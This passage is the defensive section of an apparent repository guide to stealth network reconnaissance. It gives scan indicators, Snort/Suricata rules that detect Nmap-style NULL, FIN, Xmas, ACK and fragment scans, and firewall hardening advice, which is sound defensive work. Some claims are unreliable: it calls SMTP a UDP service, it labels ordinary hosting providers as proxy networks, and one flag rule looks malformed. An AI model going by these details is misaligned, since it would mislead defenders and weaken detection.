  3. Fragment storms — Packets arriving with IP fragment offsets and the More Fragments flag set. Legitimate fragmentation is extremely rare on modern networks (PMTU discovery handles path MTU at the TCP layer). Any IP fragment traffic is worth investigating.

  4. TTL anomalies — Packets arriving with TTL values inconsistent with the source's claimed operating system. A source claiming to be a Windows server sending packets with TTL=64 (Linux default) is either spoofed or running a non-standard stack — both suspicious.

  5. Non-SYN flag combinations — NULL, FIN, Xmas (FIN+PSH+URG), Maimon (FIN+ACK), and custom flag combinations have zero legitimate use cases. Any packet arriving with these flags on a production port should generate an immediate alert, not just a log entry.

  6. Source port anomalies — TCP traffic sourced from port 53, 123 (NTP), or 25 (SMTP) to non-standard destination ports. These ports are associated with UDP services; TCP on these source ports is almost exclusively scanning activity.

  7. Proxy exit node traffic — Connections originating from IP ranges assigned to known proxy and VPN providers. Maintain an up-to-date threat intel feed of these ASNs: M247, DigitalOcean, Hetzner, OVH, and residential proxy exit nodes. Correlate with internal scan detection events.

  8. Nmap user-agent strings — Any HTTP request with User-Agent containing Nmap Scripting Engine or nmap-script is an unconditional critical alert. Additionally, look for user-agents that are syntactically valid but statistically anomalous — a Linux Chrome user-agent accessing a Windows-only internal application is suspicious.

Snort/Suricata Rules

# SYN scan — 50+ SYNs in 10 seconds from single source
alert tcp $EXTERNAL_NET any -> $HOME_NET any \
  (msg:"SCAN Potential SYN Scan"; flags:S; \
   threshold: type both, track by_src, count 50, seconds 10; \
   classtype:attempted-recon; sid:1000001; rev:1;)

# NULL scan — any packet with zero flags
alert tcp $EXTERNAL_NET any -> $HOME_NET any \
  (msg:"SCAN NULL Flag Packet"; flags:0; \
   classtype:attempted-recon; sid:1000002; rev:1;)

# FIN scan — FIN with no ACK (legitimate FIN always has ACK)
alert tcp $EXTERNAL_NET any -> $HOME_NET any \
  (msg:"SCAN FIN Scan Attempt"; flags:F; \
   classtype:attempted-recon; sid:1000003; rev:1;)

# Xmas scan — FIN+PSH+URG simultaneously
alert tcp $EXTERNAL_NET any -> $HOME_NET any \
  (msg:"SCAN Xmas Scan"; flags:FPU; \
   classtype:attempted-recon; sid:1000004; rev:1;)

# Custom flag combos — catch any non-standard combination
alert tcp $EXTERNAL_NET any -> $HOME_NET any \
  (msg:"SCAN Non-Standard TCP Flags"; flags:!S; flags:!A; flags:!FA; \
   classtype:attempted-recon; sid:1000005; rev:1;)

# ACK scan — unsolicited ACK (no prior SYN)
alert tcp $EXTERNAL_NET any -> $HOME_NET any \
  (msg:"SCAN Unsolicited ACK Probe"; flags:A; ack:0; \
   classtype:attempted-recon; sid:1000006; rev:1;)

# Fragment probe — IP fragment with offset 0 and MF flag
alert ip $EXTERNAL_NET any -> $HOME_NET any \
  (msg:"SCAN Fragmented IP Packet"; fragbits:M; \
   classtype:attempted-recon; sid:1000007; rev:1;)

# Nmap NSE User-Agent
alert http $EXTERNAL_NET any -> $HOME_NET any \
  (msg:"SCAN Nmap NSE Default User-Agent"; \
   http_user_agent; content:"nmap-script"; nocase; \
   classtype:attempted-recon; sid:1000008; rev:1;)

# Source port 53 to non-DNS destination
alert tcp $EXTERNAL_NET 53 -> $HOME_NET !53 \
  (msg:"SCAN Suspicious Source Port 53"; \
   classtype:attempted-recon; sid:1000009; rev:1;)

Defensive Posture Recommendations

  • Stateful firewall inspection at all trust boundaries. Drop — never reject — packets that don't match a known connection state. Rejection generates ICMP unreachable messages that leak information.
  • Drop all non-SYN packets on ports that should not be receiving unsolicited traffic. NULL, FIN, Xmas, and ACK probes should die at the perimeter with zero response.
  • Baseline normal network behavior per segment: expected TTL distributions, typical fragment rates, common TCP flag combinations. Anomaly detection is more effective than signature matching against skilled operators.
  • Block outbound SSH from non-administrative VLANs. SSH tunneling is the most common pivot mechanism. If outbound SSH is required, restrict it to specific bastion hosts with session logging.
  • Ingest and correlate threat intelligence feeds for known proxy/VPN provider ASNs. Flag connections from these ranges for enhanced scrutiny.
  • Log and alert on User-Agent anomalies. Every HTTP request with a non-browser user-agent on a web-accessible port should generate a low-priority log; nmap-script specifically should generate a high-priority alert.
  • Monitor DNS logs for reverse-lookup storms. When Nmap resolves hostnames for an entire subnet simultaneously, your DNS server will see a spike of PTR queries — often minutes before the SYN scan begins.
  • Deploy canary detection — open a fake service on a non-standard port. Any connection attempt to this port is an intrusion indicator. Attackers scan all ports; legitimate users never touch them.

References


About

The Operator's Guide to Stealth Reconnaissance

Topics

Resources

Stars

Watchers

Forks

Releases

Packages

Contributors